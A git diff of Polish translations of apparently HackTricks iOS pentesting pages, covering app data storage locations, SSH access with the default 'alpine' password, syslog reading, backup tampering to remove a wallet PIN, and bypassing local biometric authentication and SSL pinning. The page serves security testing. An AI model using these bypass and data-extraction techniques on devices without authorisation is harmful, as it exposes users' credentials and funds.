Sprawdź analizę dynamiczną, którą przeprowadza [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Będziesz musiał nawigować przez różne widoki i wchodzić z nimi w interakcje, ale będzie to podłączać kilka klas podczas wykonywania innych czynności i przygotuje raport, gdy skończysz.
|
||||
|
||||
### Listing Installed Apps
|
||||
|
||||
@ -170,15 +173,15 @@ Struktura **pliku IPA** jest zasadniczo taka sama jak **spakowany pakiet**. Zmie
|
||||
- **`Frameworks/`**: Ten folder zawiera natywne biblioteki aplikacji, które mogą być w formie plików `.dylib` lub `.framework`.
|
||||
- **`PlugIns/`**: Może zawierać rozszerzenia do aplikacji, znane jako pliki `.appex`, chociaż nie zawsze są obecne. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Służy do zapisywania trwałych danych aplikacji do użytku offline, do buforowania danych tymczasowych oraz do dodawania funkcji cofania do aplikacji na jednym urządzeniu. Aby synchronizować dane między wieloma urządzeniami w jednym koncie iCloud, Core Data automatycznie odzwierciedla schemat w kontenerze CloudKit.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Plik `PkgInfo` to alternatywny sposób określenia typu i kodów twórcy aplikacji lub pakietu.
|
||||
- **en.lproj, fr.proj, Base.lproj**: To pakiety językowe, które zawierają zasoby dla tych konkretnych języków oraz domyślny zasób w przypadku, gdy dany język nie jest obsługiwany.
|
||||
- **en.lproj, fr.proj, Base.lproj**: To pakiety językowe, które zawierają zasoby dla tych konkretnych języków oraz domyślny zasób na wypadek, gdyby dany język nie był obsługiwany.
|
||||
- **Bezpieczeństwo**: Katalog `_CodeSignature/` odgrywa kluczową rolę w bezpieczeństwie aplikacji, weryfikując integralność wszystkich plików w pakiecie za pomocą podpisów cyfrowych.
|
||||
- **Zarządzanie zasobami**: Plik `Assets.car` wykorzystuje kompresję do efektywnego zarządzania zasobami graficznymi, co jest kluczowe dla optymalizacji wydajności aplikacji i zmniejszenia jej ogólnego rozmiaru.
|
||||
- **Frameworki i PlugIns**: Te katalogi podkreślają modularność aplikacji iOS, umożliwiając deweloperom dołączanie wielokrotnego użytku bibliotek kodu (`Frameworks/`) i rozszerzanie funkcjonalności aplikacji (`PlugIns/`).
|
||||
- **Lokalizacja**: Struktura wspiera wiele języków, ułatwiając globalny zasięg aplikacji poprzez dołączanie zasobów dla konkretnych pakietów językowych.
|
||||
- **Lokalizacja**: Struktura wspiera wiele języków, ułatwiając globalny zasięg aplikacji poprzez dołączenie zasobów dla konkretnych pakietów językowych.
|
||||
|
||||
**Info.plist**
|
||||
|
||||
**Info.plist** jest fundamentem aplikacji iOS, zawierającym kluczowe dane konfiguracyjne w formie **par klucz-wartość**. Plik ten jest wymagany nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i frameworków zapakowanych w środku. Jest zbudowany w formacie XML lub binarnym i zawiera istotne informacje, od uprawnień aplikacji po konfiguracje bezpieczeństwa. Aby szczegółowo zbadać dostępne klucze, można odwołać się do [**Dokumentacji Dewelopera Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
**Info.plist** jest fundamentem aplikacji iOS, zawierającym kluczowe dane konfiguracyjne w formie **par klucz-wartość**. Ten plik jest wymagany nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i frameworków zapakowanych w środku. Jest zbudowany w formacie XML lub binarnym i zawiera istotne informacje, od uprawnień aplikacji po konfiguracje bezpieczeństwa. Aby szczegółowo zbadać dostępne klucze, można odwołać się do [**Dokumentacji Dewelopera Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
|
||||
Dla tych, którzy chcą pracować z tym plikiem w bardziej dostępnym formacie, konwersję XML można łatwo osiągnąć za pomocą `plutil` na macOS (dostępne natywnie w wersjach 10.2 i nowszych) lub `plistutil` na Linuxie. Komendy do konwersji są następujące:
|
||||
|
||||
@ -215,7 +218,7 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
||||
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
||||
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
||||
```
|
||||
Alternatywnie, nazwę aplikacji można wyszukać w `/private/var/containers` za pomocą polecenia `find`:
|
||||
Alternatywnie, nazwa aplikacji może być wyszukana w `/private/var/containers` za pomocą polecenia `find`:
|
||||
```bash
|
||||
find /private/var/containers -name "Progname*"
|
||||
```
|
||||
@ -355,11 +358,19 @@ double _field1;
|
||||
double _field2;
|
||||
};
|
||||
```
|
||||
Jednak najlepszymi opcjami do dekompilacji binarnej są: [**Hopper**](https://www.hopperapp.com/download.html?) i [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||||
Jednak najlepsze opcje do dekompilacji binariów to: [**Hopper**](https://www.hopperapp.com/download.html?) i [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||||
|
||||
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
|
||||
|
||||
## Przechowywanie danych
|
||||
|
||||
Aby dowiedzieć się, jak iOS przechowuje dane na urządzeniu, przeczytaj tę stronę:
|
||||
Aby dowiedzieć się, jak iOS przechowuje dane w urządzeniu, przeczytaj tę stronę:
|
||||
|
||||
{{#ref}}
|
||||
ios-basics.md
|
||||
@ -367,19 +378,19 @@ ios-basics.md
|
||||
|
||||
> [!WARNING]
|
||||
> Następujące miejsca do przechowywania informacji powinny być sprawdzone **tuż po zainstalowaniu aplikacji**, **po sprawdzeniu wszystkich funkcjonalności** aplikacji, a nawet po **wylogowaniu się z jednego użytkownika i zalogowaniu się na innego**.\
|
||||
> Celem jest znalezienie **niechronionych informacji wrażliwych** aplikacji (hasła, tokeny), bieżącego użytkownika oraz wcześniej zalogowanych użytkowników.
|
||||
> Celem jest znalezienie **niechronionych wrażliwych informacji** aplikacji (hasła, tokeny), bieżącego użytkownika oraz wcześniej zalogowanych użytkowników.
|
||||
|
||||
### Plist
|
||||
|
||||
Pliki **plist** to strukturalne pliki XML, które **zawierają pary klucz-wartość**. To sposób na przechowywanie danych trwałych, więc czasami możesz znaleźć **wrażliwe informacje w tych plikach**. Zaleca się sprawdzenie tych plików po zainstalowaniu aplikacji i po intensywnym korzystaniu z niej, aby zobaczyć, czy zapisano nowe dane.
|
||||
|
||||
Najczęstszym sposobem na trwałe przechowywanie danych w plikach plist jest użycie **NSUserDefaults**. Ten plik plist jest zapisywany wewnątrz piaskownicy aplikacji w **`Library/Preferences/<appBundleID>.plist`**
|
||||
Najczęstszym sposobem na trwałe przechowywanie danych w plikach plist jest użycie **NSUserDefaults**. Ten plik plist jest zapisywany wewnątrz piaskownicy aplikacji w **`Library/Preferences/<appBundleID>.plist`**.
|
||||
|
||||
Klasa [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) zapewnia programowy interfejs do interakcji z domyślnym systemem. Domyślny system pozwala aplikacji dostosować swoje zachowanie zgodnie z **preferencjami użytkownika**. Dane zapisane przez `NSUserDefaults` można przeglądać w pakiecie aplikacji. Ta klasa przechowuje **dane** w pliku **plist**, ale jest przeznaczona do użycia z małymi ilościami danych.
|
||||
|
||||
Dane te nie mogą być dłużej bezpośrednio dostępne za pomocą zaufanego komputera, ale można uzyskać do nich dostęp, wykonując **kopię zapasową**.
|
||||
Te dane nie mogą być dłużej bezpośrednio dostępne za pomocą zaufanego komputera, ale można uzyskać do nich dostęp, wykonując **kopię zapasową**.
|
||||
|
||||
Możesz **zrzucić** informacje zapisane za pomocą **`NSUserDefaults`** używając `ios nsuserdefaults get` z objection.
|
||||
Możesz **zrzucić** informacje zapisane za pomocą **`NSUserDefaults`** używając `ios nsuserdefaults get` z narzędzia objection.
|
||||
|
||||
Aby znaleźć wszystkie pliki plist używane przez aplikację, możesz uzyskać dostęp do `/private/var/mobile/Containers/Data/Application/{APPID}` i uruchomić:
|
||||
```bash
|
||||
@ -446,7 +457,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
|
||||
|
||||
Deweloperzy mogą **przechowywać i synchronizować dane** w **bazie danych NoSQL hostowanej w chmurze** za pomocą Firebase Real-Time Databases. Przechowywane w formacie JSON, dane są synchronizowane do wszystkich podłączonych klientów w czasie rzeczywistym.
|
||||
|
||||
Możesz znaleźć informacje, jak sprawdzić źle skonfigurowane bazy danych Firebase tutaj:
|
||||
Możesz znaleźć, jak sprawdzić źle skonfigurowane bazy danych Firebase tutaj:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
|
||||
@ -522,7 +533,7 @@ Ta metoda usunie wszystkie zbuforowane żądania i odpowiedzi z pliku Cache.db.
|
||||
|
||||
[Dokumentacja Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`Obiekt konfiguracyjny sesji ephemerowej jest podobny do domyślnej konfiguracji sesji (patrz domyślna), z wyjątkiem tego, że odpowiadający obiekt sesji nie przechowuje buforów, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w RAM. Jedynym momentem, w którym sesja ephemerowa zapisuje dane na dysku, jest sytuacja, gdy powiesz jej, aby zapisała zawartość URL do pliku.`
|
||||
`Obiekt konfiguracyjny sesji ephemerowej jest podobny do domyślnego obiektu konfiguracyjnego sesji (patrz domyślny), z tą różnicą, że odpowiadający mu obiekt sesji nie przechowuje buforów, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w RAM. Jedynym razem, gdy sesja ephemerowa zapisuje dane na dysku, jest wtedy, gdy powiesz jej, aby zapisała zawartość URL do pliku.`
|
||||
|
||||
3. Bufor można również wyłączyć, ustawiając politykę buforowania na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Wyłączy to przechowywanie buforu w jakiejkolwiek formie, zarówno w pamięci, jak i na dysku.
|
||||
|
||||
@ -530,7 +541,7 @@ Ta metoda usunie wszystkie zbuforowane żądania i odpowiedzi z pliku Cache.db.
|
||||
|
||||
Ilekroć naciśniesz przycisk home, iOS **robi zrzut ekranu bieżącego ekranu**, aby móc przejść do aplikacji w znacznie płynniejszy sposób. Jednak jeśli na bieżącym ekranie znajdują się **wrażliwe** **dane**, zostaną one **zapisane** w **obrazie** (który **utrzymuje się** **po** **ponownym uruchomieniu**). To są zrzuty ekranu, do których możesz również uzyskać dostęp, podwójnie stukając ekran główny, aby przełączać się między aplikacjami.
|
||||
|
||||
O ile iPhone nie jest zrootowany, **atakujący** musi mieć **dostęp** do **urządzenia** **odblokowanego**, aby zobaczyć te zrzuty ekranu. Domyślnie ostatni zrzut ekranu jest przechowywany w piaskownicy aplikacji w folderze `Library/Caches/Snapshots/` lub `Library/SplashBoard/Snapshots` (zaufane komputery nie mogą uzyskać dostępu do systemu plików od iOX 7.0).
|
||||
O ile iPhone nie jest zrootowany, **atakujący** musi mieć **dostęp** do **urządzenia** **odblokowanego**, aby zobaczyć te zrzuty ekranu. Domyślnie ostatni zrzut ekranu jest przechowywany w piaskownicy aplikacji w folderze `Library/Caches/Snapshots/` lub `Library/SplashBoard/Snapshots` (zaufane komputery nie mogą uzyskać dostępu do systemu plików od iOS 7.0).
|
||||
|
||||
Jednym ze sposobów zapobiegania temu złemu zachowaniu jest umieszczenie pustego ekranu lub usunięcie wrażliwych danych przed zrobieniem zrzutu ekranu za pomocą funkcji `ApplicationDidEnterBackground()`.
|
||||
|
||||
@ -566,7 +577,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||||
[self.backgroundImage removeFromSuperview];
|
||||
}
|
||||
```
|
||||
To ustawienie obrazu tła na `overlayImage.png` za każdym razem, gdy aplikacja jest w tle. Zapobiega to wyciekom wrażliwych danych, ponieważ `overlayImage.png` zawsze zastępuje bieżący widok.
|
||||
To ustawia tło obrazu na `overlayImage.png` za każdym razem, gdy aplikacja jest w tle. Zapobiega to wyciekom wrażliwych danych, ponieważ `overlayImage.png` zawsze zastępuje bieżący widok.
|
||||
|
||||
### Keychain
|
||||
|
||||
@ -634,7 +645,17 @@ Dla bardziej zaawansowanego logowania, połączenie z powłoką urządzenia i u
|
||||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
```
|
||||
Śledzone polecenia do obserwacji aktywności logów, które mogą być nieocenione w diagnozowaniu problemów lub identyfikowaniu potencjalnych wycieków danych w logach.
|
||||
Śledzone przez polecenia do obserwacji aktywności logów, które mogą być nieocenione w diagnozowaniu problemów lub identyfikowaniu potencjalnych wycieków danych w logach.
|
||||
|
||||
---
|
||||
|
||||
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
|
||||
|
||||
## Kopie zapasowe
|
||||
|
||||
@ -646,7 +667,7 @@ Włączenie **zainstalowanych aplikacji i ich danych** do kopii zapasowych podno
|
||||
|
||||
### Wykluczanie plików z kopii zapasowych
|
||||
|
||||
Pliki w `Documents/` i `Library/Application Support/` są domyślnie tworzone w kopiach zapasowych. Programiści mogą wykluczyć konkretne pliki lub katalogi z kopii zapasowych, używając `NSURL setResourceValue:forKey:error:` z kluczem `NSURLIsExcludedFromBackupKey`. Ta praktyka jest kluczowa dla ochrony wrażliwych danych przed uwzględnieniem w kopiach zapasowych.
|
||||
Pliki w `Documents/` i `Library/Application Support/` są domyślnie kopiowane. Programiści mogą wykluczyć konkretne pliki lub katalogi z kopii zapasowych, używając `NSURL setResourceValue:forKey:error:` z `NSURLIsExcludedFromBackupKey`. Ta praktyka jest kluczowa dla ochrony wrażliwych danych przed uwzględnieniem w kopiach zapasowych.
|
||||
|
||||
### Testowanie pod kątem podatności
|
||||
|
||||
@ -669,11 +690,11 @@ Aby poradzić sobie z zaszyfrowanymi kopiami zapasowymi, skrypty Pythona dostęp
|
||||
|
||||
### Modyfikowanie zachowania aplikacji
|
||||
|
||||
Przykład zmiany zachowania aplikacji poprzez modyfikacje kopii zapasowej jest pokazany w [aplikacji portfela bitcoin Bither](https://github.com/bither/bither-ios), gdzie PIN blokady interfejsu użytkownika jest przechowywany w `net.bither.plist` pod kluczem **pin_code**. Usunięcie tego klucza z plist i przywrócenie kopii zapasowej usuwa wymóg podawania PIN-u, zapewniając nieograniczony dostęp.
|
||||
Przykład zmiany zachowania aplikacji poprzez modyfikacje kopii zapasowej jest pokazany w [aplikacji portfela bitcoin Bither](https://github.com/bither/bither-ios), gdzie PIN blokady UI jest przechowywany w `net.bither.plist` pod kluczem **pin_code**. Usunięcie tego klucza z plist i przywrócenie kopii zapasowej usuwa wymóg podawania PIN-u, zapewniając nieograniczony dostęp.
|
||||
|
||||
## Podsumowanie dotyczące testowania pamięci w przypadku danych wrażliwych
|
||||
|
||||
Podczas pracy z wrażliwymi informacjami przechowywanymi w pamięci aplikacji, kluczowe jest ograniczenie czasu ekspozycji tych danych. Istnieją dwa główne podejścia do badania zawartości pamięci: **tworzenie zrzutu pamięci** i **analiza pamięci w czasie rzeczywistym**. Obie metody mają swoje wyzwania, w tym potencjalne pominięcie krytycznych danych podczas procesu zrzutu lub analizy.
|
||||
Podczas pracy z wrażliwymi informacjami przechowywanymi w pamięci aplikacji, kluczowe jest ograniczenie czasu ekspozycji tych danych. Istnieją dwa główne podejścia do badania zawartości pamięci: **tworzenie zrzutu pamięci** i **analiza pamięci w czasie rzeczywistym**. Obie metody mają swoje wyzwania, w tym możliwość pominięcia krytycznych danych podczas procesu zrzutu lub analizy.
|
||||
|
||||
## **Odzyskiwanie i analiza zrzutu pamięci**
|
||||
|
||||
@ -724,12 +745,12 @@ Dla **więcej informacji** na temat iOS kryptograficznych API i bibliotek, odwie
|
||||
|
||||
**Autoryzacja lokalna** odgrywa kluczową rolę, szczególnie w kontekście zabezpieczania dostępu do zdalnego punktu końcowego za pomocą metod kryptograficznych. Istotą jest to, że bez odpowiedniej implementacji mechanizmy autoryzacji lokalnej mogą być obejście.
|
||||
|
||||
Framework [**Local Authentication**](https://developer.apple.com/documentation/localauthentication) firmy Apple oraz [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) oferują solidne API dla deweloperów, aby ułatwić dialogi autoryzacji użytkowników i bezpiecznie obsługiwać dane poufne. Secure Enclave zabezpiecza identyfikację odcisku palca dla Touch ID, podczas gdy Face ID opiera się na rozpoznawaniu twarzy bez kompromitowania danych biometrycznych.
|
||||
Framework [**Local Authentication**](https://developer.apple.com/documentation/localauthentication) firmy Apple oraz [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) oferują solidne API dla deweloperów, aby ułatwić dialogi autoryzacji użytkownika i bezpiecznie obsługiwać dane tajne. Secure Enclave zabezpiecza identyfikację odcisku palca dla Touch ID, podczas gdy Face ID opiera się na rozpoznawaniu twarzy bez kompromitowania danych biometrycznych.
|
||||
|
||||
Aby zintegrować Touch ID/Face ID, deweloperzy mają dwa wybory API:
|
||||
|
||||
- **`LocalAuthentication.framework`** do autoryzacji użytkowników na wysokim poziomie bez dostępu do danych biometrycznych.
|
||||
- **`Security.framework`** do dostępu do usług keychain na niższym poziomie, zabezpieczając dane poufne za pomocą autoryzacji biometrycznej. Różne [open-source wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) ułatwiają dostęp do keychain.
|
||||
- **`LocalAuthentication.framework`** do autoryzacji użytkownika na wysokim poziomie bez dostępu do danych biometrycznych.
|
||||
- **`Security.framework`** do dostępu do usług keychain na niższym poziomie, zabezpieczając dane tajne za pomocą autoryzacji biometrycznej. Różne [open-source wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) ułatwiają dostęp do keychain.
|
||||
|
||||
> [!CAUTION]
|
||||
> Jednak zarówno `LocalAuthentication.framework`, jak i `Security.framework` mają luki, ponieważ głównie zwracają wartości boolean bez przesyłania danych do procesów autoryzacji, co czyni je podatnymi na obejście (zobacz [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
@ -741,11 +762,11 @@ Aby poprosić użytkowników o autoryzację, deweloperzy powinni wykorzystać me
|
||||
- **`deviceOwnerAuthentication`**: Prosi o Touch ID lub kod dostępu do urządzenia, niepowodzenie, jeśli żadne z nich nie jest włączone.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Wyłącznie prosi o Touch ID.
|
||||
|
||||
Sukces autoryzacji wskazuje wartość boolean zwrócona przez **`evaluatePolicy`**, co podkreśla potencjalną lukę w zabezpieczeniach.
|
||||
Sukces autoryzacji jest wskazywany przez wartość boolean zwracaną z **`evaluatePolicy`**, co podkreśla potencjalną lukę w zabezpieczeniach.
|
||||
|
||||
### Autoryzacja lokalna z użyciem Keychain
|
||||
|
||||
Implementacja **autoryzacji lokalnej** w aplikacjach iOS polega na użyciu **API keychain** do bezpiecznego przechowywania danych poufnych, takich jak tokeny autoryzacyjne. Proces ten zapewnia, że dane mogą być dostępne tylko dla użytkownika, korzystającego z kodu dostępu do urządzenia lub autoryzacji biometrycznej, takiej jak Touch ID.
|
||||
Implementacja **autoryzacji lokalnej** w aplikacjach iOS polega na użyciu **API keychain** do bezpiecznego przechowywania danych tajnych, takich jak tokeny autoryzacyjne. Proces ten zapewnia, że dane mogą być dostępne tylko dla użytkownika, korzystającego z kodu dostępu do urządzenia lub autoryzacji biometrycznej, takiej jak Touch ID.
|
||||
|
||||
Keychain oferuje możliwość ustawienia elementów z atrybutem `SecAccessControl`, który ogranicza dostęp do elementu, dopóki użytkownik nie uwierzytelni się pomyślnie za pomocą Touch ID lub kodu dostępu do urządzenia. Ta funkcja jest kluczowa dla zwiększenia bezpieczeństwa.
|
||||
|
||||
@ -887,7 +908,7 @@ Jeśli `LocalAuthentication.framework` jest używany w aplikacji, wynik będzie
|
||||
```
|
||||
Jeśli używany jest `Security.framework`, tylko drugi zostanie wyświetlony.
|
||||
|
||||
### Ominięcie Ramy Uwierzytelniania Lokalnego
|
||||
### Ominięcie lokalnego uwierzytelniania
|
||||
|
||||
#### **Objection**
|
||||
|
||||
@ -1040,7 +1061,7 @@ Możesz również użyć **objection's** `ios sslpinning disable`
|
||||
|
||||
### Hot Patching/Wymuszone Aktualizacje
|
||||
|
||||
Deweloperzy mogą zdalnie **natychmiast patchować wszystkie instalacje swojej aplikacji** bez konieczności ponownego przesyłania aplikacji do App Store i czekania na jej zatwierdzenie.\
|
||||
Deweloperzy mogą zdalnie **natychmiast załatać wszystkie instalacje swojej aplikacji** bez konieczności ponownego przesyłania aplikacji do App Store i czekania na jej zatwierdzenie.\
|
||||
W tym celu zazwyczaj używa się [**JSPatch**](https://github.com/bang590/JSPatch)**.** Istnieją jednak również inne opcje, takie jak [Siren](https://github.com/ArtSabintsev/Siren) i [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**To niebezpieczny mechanizm, który może być nadużywany przez złośliwe SDK, dlatego zaleca się sprawdzenie, która metoda jest używana do automatycznych aktualizacji (jeśli w ogóle) i przetestowanie jej.** Możesz spróbować pobrać wcześniejszą wersję aplikacji w tym celu.
|
||||
|
||||
@ -1050,7 +1071,7 @@ Znaczącym wyzwaniem związanym z **SDK stron trzecich** jest **brak szczegóło
|
||||
|
||||
Usługi świadczone przez SDK stron trzecich mogą obejmować śledzenie zachowań użytkowników, wyświetlanie reklam lub ulepszanie doświadczeń użytkowników. Jednak wprowadza to ryzyko, ponieważ deweloperzy mogą nie być w pełni świadomi kodu wykonywanego przez te biblioteki, co prowadzi do potencjalnych zagrożeń dla prywatności i bezpieczeństwa. Ważne jest, aby ograniczyć informacje udostępniane usługom stron trzecich do tego, co jest konieczne, i upewnić się, że żadne wrażliwe dane nie są ujawniane.
|
||||
|
||||
Wdrożenie usług stron trzecich zazwyczaj odbywa się w dwóch formach: jako samodzielna biblioteka lub pełne SDK. Aby chronić prywatność użytkowników, wszelkie dane udostępniane tym usługom powinny być **anonimizowane**, aby zapobiec ujawnieniu Osobowych Danych Identyfikowalnych (PII).
|
||||
Implementacja usług stron trzecich zazwyczaj występuje w dwóch formach: jako samodzielna biblioteka lub pełne SDK. Aby chronić prywatność użytkowników, wszelkie dane udostępniane tym usługom powinny być **anonimizowane**, aby zapobiec ujawnieniu Osobowych Danych Identyfikowalnych (PII).
|
||||
|
||||
Aby zidentyfikować biblioteki używane przez aplikację, można użyć polecenia **`otool`**. To narzędzie powinno być uruchamiane w odniesieniu do aplikacji i każdej używanej przez nią biblioteki współdzielonej, aby odkryć dodatkowe biblioteki.
|
||||
```bash
|
||||
@ -1074,7 +1095,7 @@ otool -L <application_path>
|
||||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
|
||||
- [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
|
||||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
|
||||
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) kurs darmowy IOS([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
|
||||
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) kurs IOS za darmo([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
|
||||
- [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
|
||||
- [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
|
||||
- [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
|
||||
@ -1084,5 +1105,11 @@ otool -L <application_path>
|
||||
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||
|
||||
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -31,7 +31,7 @@ $ instruments -s devices
|
||||
```
|
||||
### **Dostęp do powłoki urządzenia**
|
||||
|
||||
**Dostęp SSH** jest włączony poprzez zainstalowanie **pakietu OpenSSH** po jailbreaku, co pozwala na połączenia za pomocą `ssh root@<device_ip_address>`. Ważne jest, aby zmienić domyślne hasła (`alpine`) dla użytkowników `root` i `mobile`, aby zabezpieczyć urządzenie.
|
||||
**Dostęp SSH** jest włączony poprzez zainstalowanie **pakietu OpenSSH** po jailbreaku, co umożliwia połączenia za pomocą `ssh root@<device_ip_address>`. Ważne jest, aby zmienić domyślne hasła (`alpine`) dla użytkowników `root` i `mobile`, aby zabezpieczyć urządzenie.
|
||||
|
||||
**SSH przez USB** staje się konieczne w przypadku braku Wi-Fi, używając `iproxy` do mapowania portów urządzenia dla połączeń SSH. Ta konfiguracja umożliwia dostęp SSH przez USB, uruchamiając:
|
||||
```bash
|
||||
@ -48,7 +48,7 @@ Aby zresetować zapomniane hasło do domyślnego (`alpine`), konieczna jest edyc
|
||||
|
||||
### **Transferowanie Plików Danych Aplikacji**
|
||||
|
||||
**Archiwizacja i Pobieranie za pomocą SSH i SCP:** Archiwizacja katalogu Data aplikacji za pomocą `tar` i następnie transfer za pomocą `scp` jest prosta. Poniższe polecenie archiwizuje katalog Data do pliku .tgz, który jest następnie pobierany z urządzenia:
|
||||
**Archiwizacja i Pobieranie za pomocą SSH i SCP:** Łatwo jest zarchiwizować katalog Danych aplikacji za pomocą `tar`, a następnie przenieść go za pomocą `scp`. Poniższe polecenie archiwizuje katalog Danych do pliku .tgz, który jest następnie pobierany z urządzenia:
|
||||
```bash
|
||||
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||
exit
|
||||
@ -56,11 +56,11 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||
```
|
||||
### **Narzędzia interfejsu graficznego**
|
||||
|
||||
**Używanie iFunbox i iExplorer:** Te narzędzia GUI są przydatne do zarządzania plikami na urządzeniach iOS. Jednak od iOS 8.4 Apple ograniczyło dostęp tych narzędzi do piaskownicy aplikacji, chyba że urządzenie jest jailbreakowane.
|
||||
**Używanie iFunbox i iExplorer:** Te narzędzia GUI są przydatne do zarządzania plikami na urządzeniach iOS. Jednak od iOS 8.4 Apple ograniczyło dostęp tych narzędzi do piaskownicy aplikacji, chyba że urządzenie jest zrootowane.
|
||||
|
||||
### **Używanie Objection do zarządzania plikami**
|
||||
|
||||
**Interaktywna powłoka z Objection:** Uruchomienie objection zapewnia dostęp do katalogu Bundle aplikacji. Stąd możesz przejść do katalogu Dokumenty aplikacji i zarządzać plikami, w tym pobierać i przesyłać je na i z urządzenia iOS.
|
||||
**Interaktywna powłoka z Objection:** Uruchomienie objection zapewnia dostęp do katalogu Bundle aplikacji. Stąd można przejść do katalogu Dokumenty aplikacji i zarządzać plikami, w tym pobierać i przesyłać je na i z urządzenia iOS.
|
||||
```bash
|
||||
objection --gadget com.apple.mobilesafari explorer
|
||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
@ -70,7 +70,7 @@ file download <filename>
|
||||
|
||||
### **Pozyskiwanie Pliku IPA**
|
||||
|
||||
